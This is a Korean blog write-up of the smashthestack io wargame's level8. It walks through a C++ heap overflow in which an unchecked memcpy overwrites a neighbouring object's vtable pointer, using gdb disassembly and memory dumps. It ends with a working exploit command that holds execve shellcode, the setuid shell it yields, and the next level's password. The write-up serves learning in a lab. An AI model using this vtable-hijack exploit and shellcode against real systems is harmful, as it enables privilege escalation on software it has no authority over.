본문 바로가기

pwnable/smashthestack - io

[smashthestack - io] level8 write up

728x90
level8@io:~$ ls -l
total 28
-rw-r--r-- 1 level8 level8 27617 Jul 30 04:35 tags

 

smashthestack의 io문제를 마저 풀어보겠습니다.

 

 

-r-sr-x--- 1 level9  level8   6662 Jan 26  2012 level08
-r-sr-x--- 1 level9  level8  14343 Sep 17  2010 level08_alt
-r-------- 1 level8  level8   2355 May 29  2016 level08_alt.cpp
-r-------- 1 level8  level8    662 May 29  2016 level08.cpp

 

으악 또 cpp이군요.. 그래도 함 풀어봤으니 자신감을 갖고 해봤습니다..

 

 

// writen by bla for io.netgarage.org
#include <iostream>
#include <cstring>
#include <unistd.h>

class Number
{
        public:
                Number(int x) : number(x) {}
                void setAnnotation(char *a) {memcpy(annotation, a, strlen(a));}
                virtual int operator+(Number &r) {return number + r.number;}
        private:
                char annotation[100];
                int number;
};


int main(int argc, char **argv)
{
        if(argc < 2) _exit(1);

        Number *x = new Number(5);
        Number *y = new Number(6);
        Number &five = *x, &six = *y;

        five.setAnnotation(argv[1]);

        return six + five;
}

 

코드를 보니 Number객체에 대해서 먼저 봐야 할 것처럼 보입니다.

 

생성자로 x를 받으면 :를 사용하는 초기화 리스트를 이용해서 number를 x로 초기화시킵니다.

 

setAnnotation함수는 a를 받으면 annotation에 a를 그대로 memcpy 합니다. 여기서 a를 cpy 할 때를 보면 a의 길이를 그대로 사용하는 것을 알 수 있습니다. 이 부분이 매우 취약해 보이니 확인해두고 진행하겠습니다.

 

virtual은 가상 함수를 나타낸다고 합니다. operator+ 함수를 사용해서 main의 return에서 두 객체를 +하려고 할 때 저 함수가 발생하도록 했습니다. 즉 main의 return은 six + five.number가 되는 것입니다.

 

 

그럼 이쯤 알고 한번 gdb로 분석해보겠습니다.

c++이라서 깨지는 것을 막기 위해서 전에 사용했던 아래의 명령을 사용하겠습니다.

 

(gdb) set print asm-demangle on

 

gdb로 열면 다음과 같은 모습입니다.

 

(gdb) disas main
Dump of assembler code for function main:
   0x08048694 <+0>:     push   %ebp
   0x08048695 <+1>:     mov    %esp,%ebp
   0x08048697 <+3>:     and    $0xfffffff0,%esp
   0x0804869a <+6>:     push   %ebx
   0x0804869b <+7>:     sub    $0x2c,%esp
   0x0804869e <+10>:    cmpl   $0x1,0x8(%ebp)
   0x080486a2 <+14>:    jg     0x80486b0 <main+28>
   0x080486a4 <+16>:    movl   $0x1,(%esp)
   0x080486ab <+23>:    call   0x804857c <_exit@plt>
   0x080486b0 <+28>:    movl   $0x6c,(%esp)
   0x080486b7 <+35>:    call   0x80485bc <operator new(unsigned int)@plt>
   0x080486bc <+40>:    mov    %eax,%ebx
   0x080486be <+42>:    mov    %ebx,%eax
   0x080486c0 <+44>:    movl   $0x5,0x4(%esp)
   0x080486c8 <+52>:    mov    %eax,(%esp)
   0x080486cb <+55>:    call   0x804879e <Number::Number(int)>
   0x080486d0 <+60>:    mov    %ebx,0x10(%esp)
   0x080486d4 <+64>:    movl   $0x6c,(%esp)
   0x080486db <+71>:    call   0x80485bc <operator new(unsigned int)@plt>
   0x080486e0 <+76>:    mov    %eax,%ebx
   0x080486e2 <+78>:    mov    %ebx,%eax
   0x080486e4 <+80>:    movl   $0x6,0x4(%esp)
   0x080486ec <+88>:    mov    %eax,(%esp)
   0x080486ef <+91>:    call   0x804879e <Number::Number(int)>
   0x080486f4 <+96>:    mov    %ebx,0x14(%esp)
   0x080486f8 <+100>:   mov    0x10(%esp),%eax
   0x080486fc <+104>:   mov    %eax,0x18(%esp)
   0x08048700 <+108>:   mov    0x14(%esp),%eax
   0x08048704 <+112>:   mov    %eax,0x1c(%esp)
   0x08048708 <+116>:   mov    0xc(%ebp),%eax
   0x0804870b <+119>:   add    $0x4,%eax
   0x0804870e <+122>:   mov    (%eax),%eax
   0x08048710 <+124>:   mov    %eax,0x4(%esp)
   0x08048714 <+128>:   mov    0x18(%esp),%eax
   0x08048718 <+132>:   mov    %eax,(%esp)
   0x0804871b <+135>:   call   0x80487b6 <Number::setAnnotation(char*)>
   0x08048720 <+140>:   mov    0x1c(%esp),%eax
   0x08048724 <+144>:   mov    (%eax),%eax
   0x08048726 <+146>:   mov    (%eax),%edx
   0x08048728 <+148>:   mov    0x18(%esp),%eax
   0x0804872c <+152>:   mov    %eax,0x4(%esp)
   0x08048730 <+156>:   mov    0x1c(%esp),%eax
   0x08048734 <+160>:   mov    %eax,(%esp)
   0x08048737 <+163>:   call   *%edx
   0x08048739 <+165>:   add    $0x2c,%esp
   0x0804873c <+168>:   pop    %ebx
   0x0804873d <+169>:   mov    %ebp,%esp
   0x0804873f <+171>:   pop    %ebp
   0x08048740 <+172>:   ret
End of assembler dump.

 

 

아래의 부분을 보면 six의 위치와 five의 위치를 확인할 수 있습니다.

 

   0x08048728 <+148>:   mov    0x18(%esp),%eax
   0x0804872c <+152>:   mov    %eax,0x4(%esp)
   0x08048730 <+156>:   mov    0x1c(%esp),%eax
   0x08048734 <+160>:   mov    %eax,(%esp)

 

아래의 부분을 보면 x와 y의 정보를 알 수 있습니다.

 

   0x080486b0 <+28>:    movl   $0x6c,(%esp)
   0x080486b7 <+35>:    call   0x80485bc <operator new(unsigned int)@plt>
   0x080486bc <+40>:    mov    %eax,%ebx
   0x080486be <+42>:    mov    %ebx,%eax
   0x080486c0 <+44>:    movl   $0x5,0x4(%esp)
   0x080486c8 <+52>:    mov    %eax,(%esp)
   0x080486cb <+55>:    call   0x804879e <Number::Number(int)>
   0x080486d0 <+60>:    mov    %ebx,0x10(%esp)
   0x080486d4 <+64>:    movl   $0x6c,(%esp)
   0x080486db <+71>:    call   0x80485bc <operator new(unsigned int)@plt>
   0x080486e0 <+76>:    mov    %eax,%ebx
   0x080486e2 <+78>:    mov    %ebx,%eax
   0x080486e4 <+80>:    movl   $0x6,0x4(%esp)
   0x080486ec <+88>:    mov    %eax,(%esp)
   0x080486ef <+91>:    call   0x804879e <Number::Number(int)>
   0x080486f4 <+96>:    mov    %ebx,0x14(%esp)

 

각각 esp+0x10과 esp+0x14에 옮겨지는 것을 볼 수 있습니다. ebp가 기준이 아닌 esp가 기준이기 때문에 위치를 파악해 보겠습니다. (물론 sub로 esp 옮기는 것을 볼 수 있지만..)

 

(gdb) b *main+100
Breakpoint 1 at 0x80486f8
(gdb) r AAAAAAAAAAAAAAAA
Starting program: /levels/level08 AAAAAAAAAAAAAAAA

Breakpoint 1, 0x080486f8 in main ()
(gdb) x/2x $esp+0x10
0xbffffc40:     0x0804ea10      0x0804ea80
(gdb) c
Continuing.

Breakpoint 2, 0x08048720 in main ()
(gdb) x/4x $esp+0x10
0xbffffc40:     0x0804ea10      0x0804ea80      0x0804ea10      0x0804ea80

 

five와 six도 esp기준으로 +0x18, +0x1c이기 때문에 확인을 같이해본 결과 역시나 같은 주소를 갖게 되었습니다.

setAnnotation을 five에 대해서 했기 때문에 x에 대해서도 마찬가지로 적용될 것입니다.

 

A를 16개 인자로 넣어준 후 five의 setAnnotation함수를 실행한 뒤 0x0804ea10을 들어가봤습니다.

 

(gdb) x/64x 0x804ea10
0x804ea10:      0x080488c8      0x41414141      0x41414141      0x41414141
0x804ea20:      0x41414141      0x00000000      0x00000000      0x00000000
0x804ea30:      0x00000000      0x00000000      0x00000000      0x00000000
0x804ea40:      0x00000000      0x00000000      0x00000000      0x00000000
0x804ea50:      0x00000000      0x00000000      0x00000000      0x00000000
0x804ea60:      0x00000000      0x00000000      0x00000000      0x00000000
0x804ea70:      0x00000000      0x00000000      0x00000005      0x00000071
0x804ea80:      0x080488c8      0x00000000      0x00000000      0x00000000
0x804ea90:      0x00000000      0x00000000      0x00000000      0x00000000
0x804eaa0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804eab0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804eac0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804ead0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804eae0:      0x00000000      0x00000000      0x00000006      0x00020519

 

5와 6이 들어가있는 게 보이고, annotation에 들어간 값은 각각이 가리키는 값 +4부터 들어간다는 것을 확인할 수 있었습니다. 마지막에 return이 얼마가 될지 한번 보겠습니다.

 

   0x80487e2 <Number::operator+(Number&)>:      push   %ebp
   0x80487e3 <Number::operator+(Number&)+1>:    mov    %esp,%ebp
   0x80487e5 <Number::operator+(Number&)+3>:    mov    0x8(%ebp),%eax
   0x80487e8 <Number::operator+(Number&)+6>:    mov    0x68(%eax),%edx
   0x80487eb <Number::operator+(Number&)+9>:    mov    0xc(%ebp),%eax
   0x80487ee <Number::operator+(Number&)+12>:   mov    0x68(%eax),%eax
   0x80487f1 <Number::operator+(Number&)+15>:   lea    (%edx,%eax,1),%eax
   0x80487f4 <Number::operator+(Number&)+18>:   pop    %ebp
   0x80487f5 <Number::operator+(Number&)+19>:   ret​

 

음 six와 five의 number값을 더해서 eax에 넣기만 하네요..?

A로 한번 y의 첫 주소(0x804ea80)를 덮어써보겠습니다.

 

(gdb) x/64wx 0x804ea10
0x804ea10:      0x080488c8      0x41414141      0x41414141      0x41414141
0x804ea20:      0x41414141      0x41414141      0x41414141      0x41414141
0x804ea30:      0x41414141      0x41414141      0x41414141      0x41414141
0x804ea40:      0x41414141      0x41414141      0x41414141      0x41414141
0x804ea50:      0x41414141      0x41414141      0x41414141      0x41414141
0x804ea60:      0x41414141      0x41414141      0x41414141      0x41414141
0x804ea70:      0x41414141      0x41414141      0x41414141      0x41414141
0x804ea80:      0x41414141      0x00000000      0x00000000      0x00000000
0x804ea90:      0x00000000      0x00000000      0x00000000      0x00000000
0x804eaa0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804eab0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804eac0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804ead0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804eae0:      0x00000000      0x00000000      0x00000006      0x00020519
0x804eaf0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804eb00:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/wx 0x8048726
0x8048726 <main+146>:   0x448b108b

 

segfault가 발생한 부분을 보니까 edx를 설정하는 부분입니다! 뒤에 보면 edx를 호출하는 부분이 있기 때문에 이 부분이 virtual int operator+부분인 거 같습니다. 그런데 ret부분을 고칠게 아니라 이 부분만 고쳐도 될 것 같습니다!

 

(gdb) x/x 0x80488c8
0x80488c8 <vtable for Number+8>:        0x080487e2
(gdb) x/x 0x80487e2
0x80487e2 <Number::operator+(Number&)>: 0x8be58955

 

 

이런 구조로 되어있기 때문에 memcpy시에 0x804ea80에 0x804ea14를 넣고, 0x804ea14에서는 0x804ea18을 넣고, 0x804ea18부터는 쉘 코드를 포함해서 넣으면 될 것 같습니다!!

여기까지 오는데 이렇게 오래 걸리다뇨ㅠㅠㅠㅠㅠ 아직 너무 부족합니다..

 

level8@io:/levels$ /levels/level08 `python -c 'print "\x18\xea\x04\x08" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90" * 80 + "\x14\xea\x04\x08"'`
sh-4.3$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1008(level8),1029(nosu)
sh-4.3$ cat /home/level9/.pass
ise9uHhjOhZd0K4G

 

 

저번에 사용했던 23바이트 쉘 코드는 왜인지 안되어서 24바이트짜리로 가져왔습니다!

 

쉘 코드 (24 bytes) : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 

 

 

잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다

728x90

'pwnable > smashthestack - io' 카테고리의 다른 글

[smashthestack - io] level7 write up  (0) 2019.08.21
[smashthestack - io] level6 write up  (0) 2019.08.21
[smashthestack - io] level5 write up  (0) 2019.08.15